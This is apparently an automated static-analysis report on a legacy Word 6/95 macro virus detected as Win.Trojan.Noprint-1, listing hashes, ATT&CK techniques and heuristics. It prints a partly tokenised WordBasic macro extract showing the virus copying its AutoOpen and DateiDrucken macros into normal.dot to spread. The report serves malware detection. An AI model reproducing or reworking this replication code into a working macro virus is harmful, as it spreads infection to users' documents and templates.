Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d98b92620bb91226…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 92b9e466b2ffbb15c2a4391119f48c66 SHA-1: 7b12d4b3bb36f594ee6bd2715953d74151f29dc7 SHA-256: d98b92620bb9122637dbb75a029af5c4c5da777e4f5bd9ea35774f6a64453335
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS Goat file' markers and the presence of legacy WordBasic macro virus heuristics. The document body contains text that appears to be part of a macro, including AutoOpen and DateiDrucken functions, suggesting an attempt to execute malicious code upon opening. The presence of these indicators strongly suggests a macro-based attack.

Heuristics 3

  • ClamAV: Win.Trojan.Noprint-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Noprint-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 468 bytes
SHA-256: fcc86e9cf9db0b000cba4fea083c4a0057bb01a812e95a453c6b18279cc8966b
Preview script
First 1,000 lines of the extracted script
=  
  25964  
30060 @cmd6e65 =
MAIN
@cmd0054 = 1
@cmd80b7 1 0
Z$ = @cmd818c 2 = "\normal.dot"
Q$ = @cmd8025
@cmd00de , = Q$ , = Z$ ,
= "AutoOpen" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDrucken" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDruckenStandard" , = 3
Q$ = @cmd818c 2 = "\normal.dot"
Z$ = @cmd8025
@cmd00de , = Q$ , = Z$ ,
= "AutoOpen" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDrucken" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDruckenStandard" , = 3
@cmd80a3
MAIN
MAIN

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